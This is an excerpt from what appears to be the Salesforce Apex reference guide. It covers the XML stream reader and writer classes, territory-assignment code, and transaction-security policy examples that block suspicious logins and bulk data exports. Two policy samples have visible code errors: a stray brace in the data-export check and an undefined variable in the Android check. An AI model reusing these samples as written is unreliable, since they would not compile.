Returns the target section of a processing instruction.
getPrefix()
Returns the prefix of the current XML event or null if the event does not have a prefix.
getText()
Returns the current value of the XML event as a string.
getVersion()
Returns the XML version specified on the XML declaration. Returns null if none was declared.
hasName()
Returns true if the current XML event has a name. Returns false otherwise.
hasNext()
Returns true if there are more XML events and false if there are no more XML events.
hasText()
Returns true if the current event has text, false otherwise.
isCharacters()
Returns true if the cursor points to a character data XML event. Otherwise, returns false.
isEndElement()
Returns true if the cursor points to an end tag. Otherwise, it returns false.
isStartElement()
Returns true if the cursor points to a start tag. Otherwise, it returns false.
isWhiteSpace()
Returns true if the cursor points to a character data XML event that consists of all white space. Otherwise it returns false.
next()
Reads the next XML event. A processor may return all contiguous character data in a single chunk, or it may split it into several
chunks. Returns an integer which indicates the type of event.
nextTag()
Skips any white space (the isWhiteSpace method returns true), comment, or processing instruction XML events, until a start
element or end element is reached. Returns the index for that XML event.
setCoalescing(returnAsSingleBlock)
If you specify true for returnAsSingleBlock, text is returned in a single block, from a start element to the first end element
or the next start element, whichever comes first. If you specify it as false, the parser may return text in multiple blocks.
setNamespaceAware(isNamespaceAware)
If you specify true for isNamespaceAware, the parser recognizes namespace. If you specify it as false, the parser does
not. The default value is true.
toString()
Returns a string containing the length of the input XML given to XmlStreamReader and the first 50 characters of the input
XML.

2516

Reference

XmlStreamReader Class

getAttributeCount()
Returns the number of attributes on the start element, excluding namespace definitions.

Signature
public Integer getAttributeCount()

Return Value
Type: Integer

Usage
This method is only valid on a start element or attribute XML events. The count for the number of attributes for an attribute XML event
starts with zero.

getAttributeLocalName(index)
Returns the local name of the attribute at the specified index.

Signature
public String getAttributeLocalName(Integer index)

Parameters
index

Type: Integer

Return Value
Type: String

Usage
If there is no name, an empty string is returned. This method is only valid with start element or attribute XML events.

getAttributeNamespace(index)
Returns the namespace URI of the attribute at the specified index.

Signature
public String getAttributeNamespace(Integer index)

Parameters
index

Type: Integer

2517

Reference

XmlStreamReader Class

Return Value
Type: String

Usage
If no namespace is specified, null is returned. This method is only valid with start element or attribute XML events.

getAttributePrefix(index)
Returns the prefix of this attribute at the specified index.

Signature
public String getAttributePrefix(Integer index)

Parameters
index

Type: Integer

Return Value
Type: String

Usage
If no prefix is specified, null is returned. This method is only valid with start element or attribute XML events.

getAttributeType(index)
Returns the XML type of the attribute at the specified index.

Signature
public String getAttributeType(Integer index)

Parameters
index

Type: Integer

Return Value
Type: String

Usage
For example, id is an attribute type. This method is only valid with start element or attribute XML events.

2518

Reference

XmlStreamReader Class

getAttributeValue(namespaceUri, localName)
Returns the value of the attribute in the specified localName at the specified URI.

Signature
public String getAttributeValue(String namespaceUri, String localName)

Parameters
namespaceUri

Type: String
localName

Type: String

Return Value
Type: String

Usage
Returns null if the value is not found. You must specify a value for localName. This method is only valid with start element or
attribute XML events.

getAttributeValueAt(index)
Returns the value of the attribute at the specified index.

Signature
public String getAttributeValueAt(Integer index)

Parameters
index

Type: Integer

Return Value
Type: String

Usage
This method is only valid with start element or attribute XML events.

getEventType()
Returns the type of XML event the cursor is pointing to.

2519

Reference

XmlStreamReader Class

Signature
public System.XmlTag getEventType()

Return Value
Type: System.XmlTag
XmlTag Enum

The values for XmlTag are:

ATTRIBUTE
CDATA
CHARACTERS
COMMENT
DTD
END_DOCUMENT
END_ELEMENT
ENTITY_DECLARATION
ENTITY_REFERENCE
NAMESPACE
NOTATION_DECLARATION
PROCESSING_INSTRUCTION
SPACE
START_DOCUMENT
START_ELEMENT

getLocalName()
Returns the local name of the current event.

Signature
public String getLocalName()

Return Value
Type: String

Usage
For start element or end element XML events, it returns the local name of the current element. For the entity reference XML event, it
returns the entity name. The current XML event must be start element, end element, or entity reference.

getLocation()
Return the current location of the cursor.

2520

Reference

XmlStreamReader Class

Signature
public String getLocation()

Return Value
Type: String

Usage
If the location is unknown, returns -1. The location information is only valid until the next method is called.

getNamespace()
If the current event is a start element or end element, this method returns the URI of the prefix or the default namespace.

Signature
public String getNamespace()

Return Value
Type: String

Usage
Returns null if the XML event does not have a prefix.

getNamespaceCount()
Returns the number of namespaces declared on a start element or end element.

Signature
public Integer getNamespaceCount()

Return Value
Type: Integer

Usage
This method is only valid on a start element, end element, or namespace XML event.

getNamespacePrefix(index)
Returns the prefix for the namespace declared at the index.

Signature
public String getNamespacePrefix(Integer index)

2521

Reference

XmlStreamReader Class

Parameters
index

Type: Integer

Return Value
Type: String

Usage
Returns null if this is the default namespace declaration. This method is only valid on a start element, end element, or namespace
XML event.

getNamespaceURI(prefix)
Return the URI for the given prefix.

Signature
public String getNamespaceURI(String prefix)

Parameters
prefix

Type: String

Return Value
Type: String

Usage
The returned URI depends on the current state of the processor.

getNamespaceURIAt(index)
Returns the URI for the namespace declared at the index.

Signature
public String getNamespaceURIAt(Integer index)

Parameters
index

Type: Integer

Return Value
Type: String

2522

Reference

XmlStreamReader Class

Usage
This method is only valid on a start element, end element, or namespace XML event.

getPIData()
Returns the data section of a processing instruction.

Signature
public String getPIData()

Return Value
Type: String

getPITarget()
Returns the target section of a processing instruction.

Signature
public String getPITarget()

Return Value
Type: String

getPrefix()
Returns the prefix of the current XML event or null if the event does not have a prefix.

Signature
public String getPrefix()

Return Value
Type: String

getText()
Returns the current value of the XML event as a string.

Signature
public String getText()

Return Value
Type: String

2523

Reference

XmlStreamReader Class

Usage
The valid values for the different events are:
The string value of a character XML event
The string value of a comment
The replacement value for an entity reference. For example, assume getText reads the following XML snippet:
<!ENTITY
Title "Salesforce For Dummies" >
]>
<foo a=\"b\">Name &Title;</foo>';

The getText method returns Salesforce for Dummies, not &Title.

The string value of a CDATA section
The string value for a space XML event
The string value of the internal subset of the DTD

getVersion()
Returns the XML version specified on the XML declaration. Returns null if none was declared.

Signature
public String getVersion()

Return Value
Type: String

hasName()
Returns true if the current XML event has a name. Returns false otherwise.

Signature
public Boolean hasName()

Return Value
Type: Boolean

Usage
This method is only valid for start element and stop element XML events.

hasNext()
Returns true if there are more XML events and false if there are no more XML events.

2524

Reference

XmlStreamReader Class

Signature
public Boolean hasNext()

Return Value
Type: Boolean

Usage
This method returns false if the current XML event is end document.

hasText()
Returns true if the current event has text, false otherwise.

Signature
public Boolean hasText()

Return Value
Type: Boolean

Usage
The following XML events have text: characters, entity reference, comment and space.

isCharacters()
Returns true if the cursor points to a character data XML event. Otherwise, returns false.

Signature
public Boolean isCharacters()

Return Value
Type: Boolean

isEndElement()
Returns true if the cursor points to an end tag. Otherwise, it returns false.

Signature
public Boolean isEndElement()

Return Value
Type: Boolean

2525

Reference

XmlStreamReader Class

isStartElement()
Returns true if the cursor points to a start tag. Otherwise, it returns false.

Signature
public Boolean isStartElement()

Return Value
Type: Boolean

isWhiteSpace()
Returns true if the cursor points to a character data XML event that consists of all white space. Otherwise it returns false.

Signature
public Boolean isWhiteSpace()

Return Value
Type: Boolean

next()
Reads the next XML event. A processor may return all contiguous character data in a single chunk, or it may split it into several chunks.
Returns an integer which indicates the type of event.

Signature
public Integer next()

Return Value
Type: Integer

nextTag()
Skips any white space (the isWhiteSpace method returns true), comment, or processing instruction XML events, until a start
element or end element is reached. Returns the index for that XML event.

Signature
public Integer nextTag()

Return Value
Type: Integer

2526

Reference

XmlStreamReader Class

Usage
This method throws an error if elements other than white space, comments, processing instruction, start elements or stop elements are
encountered.

setCoalescing(returnAsSingleBlock)
If you specify true for returnAsSingleBlock, text is returned in a single block, from a start element to the first end element
or the next start element, whichever comes first. If you specify it as false, the parser may return text in multiple blocks.

Signature
public Void setCoalescing(Boolean returnAsSingleBlock)

Parameters
returnAsSingleBlock

Type: Boolean

Return Value
Type: Void

setNamespaceAware(isNamespaceAware)
If you specify true for isNamespaceAware, the parser recognizes namespace. If you specify it as false, the parser does not.
The default value is true.

Signature
public Void setNamespaceAware(Boolean isNamespaceAware)

Parameters
isNamespaceAware

Type: Boolean

Return Value
Type: Void

toString()
Returns a string containing the length of the input XML given to XmlStreamReader and the first 50 characters of the input XML.

Signature
public String toString()

2527

Reference

XmlStreamWriter Class

Return Value
Type: String

XmlStreamWriter Class
The XmlStreamWriter class provides methods for writing XML data.

Namespace
System

Usage
You can use the XmlStreamWriter class to programmatically construct an XML document, then use HTTP classes to send the
document to an external server.
The XmlStreamWriter class is similar to the XMLStreamWriter utility class from StAX.
Note: The XmlStreamWriter class in Apex is based on its counterpart in Java. See the Java XMLStreamWriter
class.
IN THIS SECTION:
XmlStreamWriter Constructors
XmlStreamWriter Methods
SEE ALSO:
Http Class
HttpRequest Class
HttpResponse Class

XmlStreamWriter Constructors
The following are constructors for XmlStreamWriter.
IN THIS SECTION:
XmlStreamWriter()
Creates a new instance of the XmlStreamWriter class.

XmlStreamWriter()
Creates a new instance of the XmlStreamWriter class.

Signature
public XmlStreamWriter()

2528

Reference

XmlStreamWriter Class

XmlStreamWriter Methods
The following are methods for XmlStreamWriter. All are instance methods.
IN THIS SECTION:
close()
Closes this instance of an XmlStreamWriter and free any resources associated with it.
getXmlString()
Returns the XML written by the XmlStreamWriter instance.
setDefaultNamespace(uri)
Binds the specified URI to the default namespace. This URI is bound in the scope of the current START_ELEMENT END_ELEMENT
pair.
writeAttribute(prefix, namespaceUri, localName, value)
Writes an attribute to the output stream.
writeCData(data)
Writes the specified CData to the output stream.
writeCharacters(text)
Writes the specified text to the output stream.
writeComment(comment)
Writes the specified comment to the output stream.
writeDefaultNamespace(namespaceUri)
Writes the specified namespace to the output stream.
writeEmptyElement(prefix, localName, namespaceUri)
Writes an empty element tag to the output stream.
writeEndDocument()
Closes any start tags and writes corresponding end tags to the output stream.
writeEndElement()
Writes an end tag to the output stream, relying on the internal state of the writer to determine the prefix and local name.
writeNamespace(prefix, namespaceUri)
Writes the specified namespace to the output stream.
writeProcessingInstruction(target, data)
Writes the specified processing instruction.
writeStartDocument(encoding, version)
Writes the XML Declaration using the specified XML encoding and version.
writeStartElement(prefix, localName, namespaceUri)
Writes the start tag specified by localName to the output stream.

close()
Closes this instance of an XmlStreamWriter and free any resources associated with it.

2529

Reference

XmlStreamWriter Class

Signature
public Void close()

Return Value
Type: Void

getXmlString()
Returns the XML written by the XmlStreamWriter instance.

Signature
public String getXmlString()

Return Value
Type: String

setDefaultNamespace(uri)
Binds the specified URI to the default namespace. This URI is bound in the scope of the current START_ELEMENT END_ELEMENT pair.

Signature
public Void setDefaultNamespace(String uri)

Parameters
uri

Type: String

Return Value
Type: Void

writeAttribute(prefix, namespaceUri, localName, value)

Writes an attribute to the output stream.

Signature
public Void writeAttribute(String prefix, String namespaceUri, String localName, String
value)

Parameters
prefix

Type: String

2530

Reference

XmlStreamWriter Class

namespaceUri

Type: String
localName

Type: String
Specifies the name of the attribute.
value

Type: String

Return Value
Type: Void

writeCData(data)
Writes the specified CData to the output stream.

Signature
public Void writeCData(String data)

Parameters
data

Type: String

Return Value
Type: Void

writeCharacters(text)
Writes the specified text to the output stream.

Signature
public Void writeCharacters(String text)

Parameters
text

Type: String

Return Value
Type: Void

writeComment(comment)
Writes the specified comment to the output stream.

2531

Reference

XmlStreamWriter Class

Signature
public Void writeComment(String comment)

Parameters
comment

Type: String

Return Value
Type: Void

writeDefaultNamespace(namespaceUri)
Writes the specified namespace to the output stream.

Signature
public Void writeDefaultNamespace(String namespaceUri)

Parameters
namespaceUri

Type: String

Return Value
Type: Void

writeEmptyElement(prefix, localName, namespaceUri)

Writes an empty element tag to the output stream.

Signature
public Void writeEmptyElement(String prefix, String localName, String namespaceUri)

Parameters
prefix

Type: String
localName

Type: String
Specifies the name of the tag to be written.
namespaceUri

Type: String

2532

Reference

XmlStreamWriter Class

Return Value
Type: Void

writeEndDocument()
Closes any start tags and writes corresponding end tags to the output stream.

Signature
public Void writeEndDocument()

Return Value
Type: Void

writeEndElement()
Writes an end tag to the output stream, relying on the internal state of the writer to determine the prefix and local name.

Signature
public Void writeEndElement()

Return Value
Type: Void

writeNamespace(prefix, namespaceUri)
Writes the specified namespace to the output stream.

Signature
public Void writeNamespace(String prefix, String namespaceUri)

Parameters
prefix

Type: String
namespaceUri

Type: String

Return Value
Type: Void

writeProcessingInstruction(target, data)
Writes the specified processing instruction.

2533

Reference

XmlStreamWriter Class

Signature
public Void writeProcessingInstruction(String target, String data)

Parameters
target

Type: String
data

Type: String

Return Value
Type: Void

writeStartDocument(encoding, version)
Writes the XML Declaration using the specified XML encoding and version.

Signature
public Void writeStartDocument(String encoding, String version)

Parameters
encoding

Type: String
version

Type: String

Return Value
Type: Void

writeStartElement(prefix, localName, namespaceUri)

Writes the start tag specified by localName to the output stream.

Signature
public Void writeStartElement(String prefix, String localName, String namespaceUri)

Parameters
prefix

Type: String
localName

Type: String
namespaceUri

Type: String

2534

Reference

TerritoryMgmt Namespace

Return Value
Type: Void

TerritoryMgmt Namespace
The TerritoryMgmt namespace provides an interface used for territory management.
The following is the interface in the TerritoryMgmt namespace.
IN THIS SECTION:
OpportunityTerritory2AssignmentFilter Global Interface
Apex interface that allows an implementing class to assign a single territory to an opportunity.

OpportunityTerritory2AssignmentFilter Global Interface

Apex interface that allows an implementing class to assign a single territory to an opportunity.

Namespace
TerritoryMgmt

Usage
Method called by Opportunity Territory Assignment job to assign territory to opportunity. Input is a list of (up to 1000) opportunityIds
that have IsExcludedFromTerritory2Filter=false. Returns a map of OpportunityId to Territory2Id, which is used to update the Territory2Id
field on the Opportunity object.
IN THIS SECTION:
OpportunityTerritory2AssignmentFilter Methods
OpportunityTerritory2AssignmentFilter Example Implementation

OpportunityTerritory2AssignmentFilter Methods
The following are methods for OpportunityTerritory2AssignmentFilter.
IN THIS SECTION:
getOpportunityTerritory2Assignments(opportunityIds)
Returns the mapping of opportunities to territory IDs. When Salesforce invokes this method, it supplies the list of opportunity IDs,
except for opportunities that have been excluded from territory assignment (IsExcludedFromTerritory2Filter=false).

getOpportunityTerritory2Assignments(opportunityIds)
Returns the mapping of opportunities to territory IDs. When Salesforce invokes this method, it supplies the list of opportunity IDs, except
for opportunities that have been excluded from territory assignment (IsExcludedFromTerritory2Filter=false).

2535

Reference

OpportunityTerritory2AssignmentFilter Global Interface

Signature
public Map<Id,Id> getOpportunityTerritory2Assignments(List<Id> opportunityIds)

Parameters
opportunityIds

Type: List<Id>
Opportunity IDs.

Return Value
Type: Map<Id,Id>
A key value pair associating each Territory ID to an Opportunity ID.

OpportunityTerritory2AssignmentFilter Example Implementation

This is an example implementation of the TerritoryMgmt.OpportunityTerritory2AssignmentFilter interface.
/*** Apex version of the default logic.
* If opportunity's assigned account is assigned to
* Case 1: 0 territories in active model
*
then set territory2Id = null
* Case 2: 1 territory in active model
*
then set territory2Id = account's territory2Id
* Case 3: 2 or more territories in active model
*
then set territory2Id = account's territory2Id that is of highest priority.
*
But if multiple territories have same highest priority, then set territory2Id
= null
*/
global class OppTerrAssignDefaultLogicFilter implements
TerritoryMgmt.OpportunityTerritory2AssignmentFilter {
/**
* No-arg constructor.
*/
global OppTerrAssignDefaultLogicFilter() {}
/**
* Get mapping of opportunity to territory2Id. The incoming list of opportunityIds
contains only those with IsExcludedFromTerritory2Filter=false.
* If territory2Id = null in result map, clear the opportunity.territory2Id if set.
* If opportunity is not present in result map, its territory2Id remains intact.
*/
global Map<Id,Id> getOpportunityTerritory2Assignments(List<Id> opportunityIds) {
Map<Id, Id> OppIdTerritoryIdResult = new Map<Id, Id>();
// Get the active territory model Id
Id activeModelId = getActiveModelId();
if(activeModelId != null){
List<Opportunity> opportunities =
[Select Id, AccountId, Territory2Id from Opportunity where Id IN
:opportunityIds];

2536

Reference

OpportunityTerritory2AssignmentFilter Global Interface

Set<Id> accountIds = new Set<Id>();

// Create set of parent accountIds
for(Opportunity opp:opportunities){
if(opp.AccountId != null){
accountIds.add(opp.AccountId);
}
}
Map<Id,Territory2Priority> accountMaxPriorityTerritory =
getAccountMaxPriorityTerritory(activeModelId, accountIds);
// For each opportunity, assign the highest priority territory if there is no
conflict, else assign null.
for(Opportunity opp: opportunities){
Territory2Priority tp = accountMaxPriorityTerritory.get(opp.AccountId);
// Assign highest priority territory if there is only 1.
if((tp != null) && (tp.moreTerritoriesAtPriority == false) && (tp.territory2Id
!= opp.Territory2Id)){
OppIdTerritoryIdResult.put(opp.Id, tp.territory2Id);
}else{
OppIdTerritoryIdResult.put(opp.Id, null);
}
}
}
return OppIdTerritoryIdResult;
}
/**
* Query assigned territoryIds in active model for given accountIds.
* Create a map of accountId to max priority territory.
*/
private Map<Id,Territory2Priority> getAccountMaxPriorityTerritory(Id activeModelId,
Set<Id> accountIds){
Map<Id,Territory2Priority> accountMaxPriorityTerritory = new
Map<Id,Territory2Priority>();
for(ObjectTerritory2Association ota:[Select ObjectId, Territory2Id,
Territory2.Territory2Type.Priority from ObjectTerritory2Association where objectId IN
:accountIds and Territory2.Territory2ModelId = :activeModelId]){
Territory2Priority tp = accountMaxPriorityTerritory.get(ota.ObjectId);
if((tp == null) || (ota.Territory2.Territory2Type.Priority > tp.priority)){
// If this is the first territory examined for account or it has greater
priority than current highest priority territory, then set this as new highest priority
territory.
tp = new
Territory2Priority(ota.Territory2Id,ota.Territory2.Territory2Type.priority,false);
}else if(ota.Territory2.Territory2Type.priority == tp.priority){
// The priority of current highest territory is same as this, so set
moreTerritoriesAtPriority to indicate multiple highest priority territories seen so far.
tp.moreTerritoriesAtPriority = true;
}
accountMaxPriorityTerritory.put(ota.ObjectId, tp);
}

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Reference

TxnSecurity Namespace

return accountMaxPriorityTerritory;
}

/**
* Get the Id of the Active Territory Model.
* If none exists, return null.
*/
private Id getActiveModelId() {
List<Territory2Model> models = [Select Id from Territory2Model where State =
'Active'];
Id activeModelId = null;
if(models.size() == 1){
activeModelId = models.get(0).Id;
}
return activeModelId;
}
/**
* Helper class to help capture territory2Id, its priority, and whether there are more
territories with same priority assigned to the account.
*/
private class Territory2Priority {
public Id territory2Id { get; set; }
public Integer priority { get; set; }
public Boolean moreTerritoriesAtPriority { get; set; }
Territory2Priority(Id territory2Id, Integer priority, Boolean
moreTerritoriesAtPriority){
this.territory2Id = territory2Id;
this.priority = priority;
this.moreTerritoriesAtPriority = moreTerritoriesAtPriority;
}
}
}

TxnSecurity Namespace
The TxnSecurity namespace provides an interface used for transaction security.
The following is the interface and its supporting class in the TxnSecurity namespace.
IN THIS SECTION:
Event Class
Contains event information that the PolicyCondition.evaluate method uses to evaluate a transaction security policy.
PolicyCondition Interface
Apex interface that allows an implementing class to specify actions to take when certain events occur based on a transaction security
policy.

2538

Reference

Event Class

Event Class
Contains event information that the PolicyCondition.evaluate method uses to evaluate a transaction security policy.

Namespace
TxnSecurity

Usage
The Event class contains the information needed to determine if the event triggers a Transaction Security policy. Not all class attributes
are used for every type of event.
IN THIS SECTION:
Event Constructors
Event Properties

Event Constructors
The following is the constructor for Event.
IN THIS SECTION:
Event()
Creates an instance of the TxnSecurity.Event class.

Event()
Creates an instance of the TxnSecurity.Event class.

Signature
public Event()

Event Properties
The following are properties for Event.
IN THIS SECTION:
action
Specifies the action being taken on the resource for an Entity event. For example, a Login IP resource for an Entity event could have
an action of create. The action attribute is not used by any other event type.
data
Contains data used by actions. For example, data for a login event includes the login history ID. Returns a map whose keys are
the type of event data, like SourceIp.

2539

Reference

Event Class

entityId
The ID of any entity associated with the event. For example, the entityId of a DataExport event for an Account object contains
the Account ID.
entityName
The name of the object the event acts on.
organizationId
The ID of the Salesforce organization where the event occurred.
resourceType
The type of resource for the event. For example, an AccessResource event could have a Connected Application as a resource type.
Not all event types have resources.
timeStamp
The time the event occurred.
userId
Identifies the user that caused the event.

action
Specifies the action being taken on the resource for an Entity event. For example, a Login IP resource for an Entity event could have an
action of create. The action attribute is not used by any other event type.

Signature
public String action {get; set;}

Property Value
Type: String

data
Contains data used by actions. For example, data for a login event includes the login history ID. Returns a map whose keys are the
type of event data, like SourceIp.

Signature
public Map<String,String> data {get; set;}

Property Value
Type: Map<String, String>
The following table lists all the available data types. Not all types appear with all event types. The data type values are always string
representations. For example, the isApi value is a string in the map, but is actually a Boolean value. Convert the value from a string
to its true type this way: Boolean.valueOf(event.data.get('isApi'));

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Reference

Event Class

Key Name

True Value Type

Events Supported

ActionName

String Values are:

Entity

Convert
Delete
Insert
Undelete
Update
Upsert
ApiType

String (Enum manifested as a String)

DataExport, Login

Application

String

AccessResource, DataExport

ClientId

String (ID of the client)

DataExport

ConnectedAppId

String (ID of the Connected App)

AccessResource, DataExport

ExecutionTime

milliseconds

DataExport

IsApi

Boolean

DataExport

IsScheduled

Boolean

DataExport

LoginHistoryId

String

DataExport, Login

NumberOfRecords

Integer

DataExport

SessionLevel

String (Enum manifested as a String. Values include

STANDARD and HIGH_ASSURANCE)

AccessResource

SourceIp

String (IPV4 Address)

AccessResource

UserName

String

Entity

entityId
The ID of any entity associated with the event. For example, the entityId of a DataExport event for an Account object contains the
Account ID.

Signature
public String entityId {get; set;}

Property Value
Type: String

entityName
The name of the object the event acts on.

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Reference

Event Class

Signature
public String entityName {get; set;}

Property Value
Type: String

organizationId
The ID of the Salesforce organization where the event occurred.

Signature
public String organizationId {get; set;}

Property Value
Type: String

resourceType
The type of resource for the event. For example, an AccessResource event could have a Connected Application as a resource type. Not
all event types have resources.

Signature
public String resourceType {get; set;}

Property Value
Type: String

timeStamp
The time the event occurred.

Signature
public Datetime timeStamp {get; set;}

Property Value
Type: Datetime

userId
Identifies the user that caused the event.

2542

Reference

PolicyCondition Interface

Signature
public String userId {get; set;}

Property Value
Type: String

PolicyCondition Interface
Apex interface that allows an implementing class to specify actions to take when certain events occur based on a transaction security
policy.

Namespace
TxnSecurity

Usage
The evaluate method is called upon the occurrence of an event monitored by a transaction security policy. A typical implementation
first selects the item of interest from the event. Then the item is tested to see if it meets the condition being monitored. If the condition
is met, the method returns true.
Dont include Data Manipulation Language (DML) statements in your custom policies. DML operations are rolled back after a transaction
security policy is evaluated, regardless if the policy evaluates to true or false.
For example, imagine a transaction security policy that checks for the same user logging in more than once. For each login event, the
method would check if the user logging in already has a login session in progress, and if so, true is returned.
IN THIS SECTION:
PolicyCondition Methods
PolicyCondition Example Implementations
Here are a variety of code samples to show how to implement the TxnSecurity.PolicyCondition class for Transaction
Security. These examples show how to use different event components to identify and check a wide variety of condition.

PolicyCondition Methods
The following is the method for PolicyCondition.
IN THIS SECTION:
evaluate(event)
Evaluates an event against a transaction security policy. If the event triggers the policy, true is returned.

evaluate(event)
Evaluates an event against a transaction security policy. If the event triggers the policy, true is returned.

2543

Reference

PolicyCondition Interface

Signature
public Boolean evaluate(TxnSecurity.Event event)

Parameters
event

Type: TxnSecurity.Event
The event to check against the transaction security policy.

Return Value
Type: Boolean
When the policy is triggered, True is returned. For example, lets suppose the policy is to limit users to a single login session. If anyone
tries to log in a second time, the policys action requires that they end their current session. The policy also sends an email notification
to the Salesforce admin. The evaluate() method only checks the login event, and returns True if its the users second login. The
Transaction Security system performs the action and notification, and not the evaluate() method.

PolicyCondition Example Implementations

Here are a variety of code samples to show how to implement the TxnSecurity.PolicyCondition class for Transaction
Security. These examples show how to use different event components to identify and check a wide variety of condition.
IN THIS SECTION:
PolicyCondition Example: Block Localhost Login
How to use the IP address in a login policy. This example implements a policy that triggers when theres a login from localhost.
PolicyCondition Example: Block Large Data Export
How to check for large data transfers in a login policy. This example implements a policy that triggers when 2,000 records or more
are downloaded via the API.
PolicyCondition Example: High-Assurance Session
How to require a high-assurance login session when accessing confidential data. This example implements a policy that requires
everyone to use two-factor authentication before they can access a specific report.
PolicyCondition Example: Restricting Platform Browser
How to check for a specific operating system and browser in a login policy. This example policy triggers when a user with a known
OS and browser combination tries to log in with any other browser on a different OS.
PolicyCondition Example: Block Access by Geography
How to block access completely for logins from a specific area. This example implements a policy that blocks access by country.
PolicyCondition Example: Block Access by OS
How to block access for anyone using a specific operating system. This example implements a policy that blocks access for anyone
using an older version of the Android OS.
PolicyCondition Example: Using Apex API Callouts
How to block Chatter posts with certain words or content. This example implements a policy that blocks profanity by using an
external service.
PolicyCondition Example: Block Connected App Access
Block a Connected App with API access from accessing large amounts data.

2544

Reference

PolicyCondition Interface

PolicyCondition Example: Block Localhost Login

How to use the IP address in a login policy. This example implements a policy that triggers when theres a login from localhost.
global class BlockLocalhostCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
// Get the LoginHistoryId to in turn get the SourceIp address.
String loginHistoryId = e.data.get('LoginHistoryId');
// Retrieve SourceIp from LoginHistory.
LoginHistory loginAttempt =
[SELECT SourceIp FROM LoginHistory WHERE id = :loginHistoryId];
String sourceIp = String.valueOf(loginAttempt.SourceIp);
// If it's localhost, the policy is triggered and true is returned.
if (sourceIp != null && sourceIp.equals('127.0.0.1')) {
return true;
}
return false;
}
}

PolicyCondition Example: Block Large Data Export

How to check for large data transfers in a login policy. This example implements a policy that triggers when 2,000 records or more are
downloaded via the API.
An admin or other customer with API privileges can download all customer data in bulk using SOAP API, REST API, or the Bulk API. This
security policy restricts API-based data downloads to 2,000 records and alerts the admin with a real-time notification if the policy is
triggered.
public global class DataLoaderExportGt2KRecords implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
Boolean isApi = Boolean.valueOf(e.data.get('IsApi')) { // For any API request...
Integer numberOfRecords = Integer.valueOf(e.data.get('NumberOfRecords'));
if (isApi && numberOfRecords >= 2000) {
return true;
}
return false;
}
}
}

PolicyCondition Example: High-Assurance Session

How to require a high-assurance login session when accessing confidential data. This example implements a policy that requires everyone
to use two-factor authentication before they can access a specific report.
You can have sensitive, confidential data in your quarterly Salesforce reports. You also want to ensure that teams accessing those reports
use two-factor authentication (2FA) for high assurance before viewing this data. The policy makes 2FA a requirement, but you cant
provide high-assurance sessions until your teams have a way to meet the 2FA requirements. As a prerequisite, first set up 2FA in your
Salesforce environment.

2545

Reference

PolicyCondition Interface

This example highlights the capability of a policy to enforce 2FA for a specific report. The report defined here is any report with Quarterly
Report in its name. Anyone accessing the report is required to have a high-assurance session using 2FA.
global class ConfidentialDataPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
if (e.resourceType == 'Dashboard') {
// If the event is about Dashboards...
Dashboard dashboard =
[SELECT DeveloperName FROM Dashboard WHERE id = :e.entityId];
String name = String.valueOf(dashboard.DeveloperName);
// Check if this is a quarterly report.
if (name.containsIgnoreCase('Quarterly Report')) {
return true;
}
}
return false;
}
}

PolicyCondition Example: Restricting Platform Browser

How to check for a specific operating system and browser in a login policy. This example policy triggers when a user with a known OS
and browser combination tries to log in with any other browser on a different OS.
Heres a policy example for restricting access. Many organizations have standard hardware and support specific versions of different
browsers. You can use this standard to reduce the security risk for high impact individuals by acting when logins take place from unusual
devices. For example, your CEO typically logs in from San Francisco using a Macbook or Salesforce1 mobile application on an iPhone to
Salesforce. When a login occurs from elsewhere using a Chromebook, its highly suspicious. Since hackers do not necessarily know which
platforms corporate executives use, this policy makes a security breach less likely.
In this example, the customer organization knows that their CEO is using a Macbook running OS X with the Safari browser. Any attempt
to log in using the CEOs credentials with anything else is automatically blocked.
global class CeoBrowserAccessPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
// If it's a Login attempt from our CEO's user account.
if (e.action == 'Login' && e.userId == '005x0000005VmCu') {
// Get the platform & browser from LoginHistory for this login attempt.
LoginHistory loginAttempt =
[SELECT Platform, Browser FROM LoginHistory
WHERE Id = :e.data.get('LoginHistoryId')];
String platform = loginAttempt.Platform;
String browser = loginAttempt.Browser;
// The policy is triggered when the CEO isnt using Safari on Mac OSX.
if (!platform.equals('Mac OSX') || !browser.startsWith('Safari')) {
return true;
}
}
return false;
}
}

PolicyCondition Example: Block Access by Geography

How to block access completely for logins from a specific area. This example implements a policy that blocks access by country.

2546

Reference

PolicyCondition Interface

Your organization could have remote offices and a global presence but, due to international law, wants to restrict access to their Salesforce
org. The restrictions would be from specific countries, or obtain alerts when unusual login activity occurs.
This example builds a policy that blocks users logging in from North Korea. If users are in North Korea but using a corporate VPN, their
VPN gateway would be in Singapore or the United States. The VPN gateway would make their login successful because Salesforce would
see the internal US-based company IP address.
global class BlockAccessFromNKPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
// Get the login history.
LoginHistory loginAttempt =
[SELECT LoginGeoId FROM LoginHistory WHERE Id = :e.data.get('LoginHistoryId')];
// Get the login's geographical info.
String loginGeoId = String.valueOf(loginAttempt.LoginGeoId);
LoginGeo loginGeo = [SELECT Country FROM LoginGeo WHERE Id = :loginGeoId];
// Get the country at that location.
String country = String.valueOf(loginGeo.Country);
// Trigger policy and block access for any user trying to log in from North Korea.
if(country.equals('North Korea')) {
return true;
}
return false;
}
}

You can also restrict access to other specific values, like postal code or city.

PolicyCondition Example: Block Access by OS

How to block access for anyone using a specific operating system. This example implements a policy that blocks access for anyone using
an older version of the Android OS.
Youre concerned with a specific mobile platforms vulnerabilities and its ability to capture screen shots and read data while accessing
Salesforce. If the device is not running a security client, you could restrict access from device platforms using operating systems with
known and well-identified vulnerabilities. In this example, we create a policy to block devices using Android 5.0 or earlier.
global class BlockOldAndroidDevicesPolicyCondition implements TxnSecurity.PolicyCondition
{
public boolean evaluate(TxnSecurity.Event e) {
LoginHistory loginAttempt =
[SELECT Platform FROM LoginHistory WHERE Id = :e.data.get('LoginHistoryId')];
if (loginAttempt != null) {
String platform = loginHistory.Platform;
if (platform.contains('Android') && platform.compareTo('Android 5') < 0) {
return true;
}
}
return false; // Allow access from Android versions greater than 5.
}
}

PolicyCondition Example: Using Apex API Callouts

How to block Chatter posts with certain words or content. This example implements a policy that blocks profanity by using an external
service.

2547

Reference

PolicyCondition Interface

Advertisers and spammers often post messages to successful communities at high rates to increase their chances of people clicking
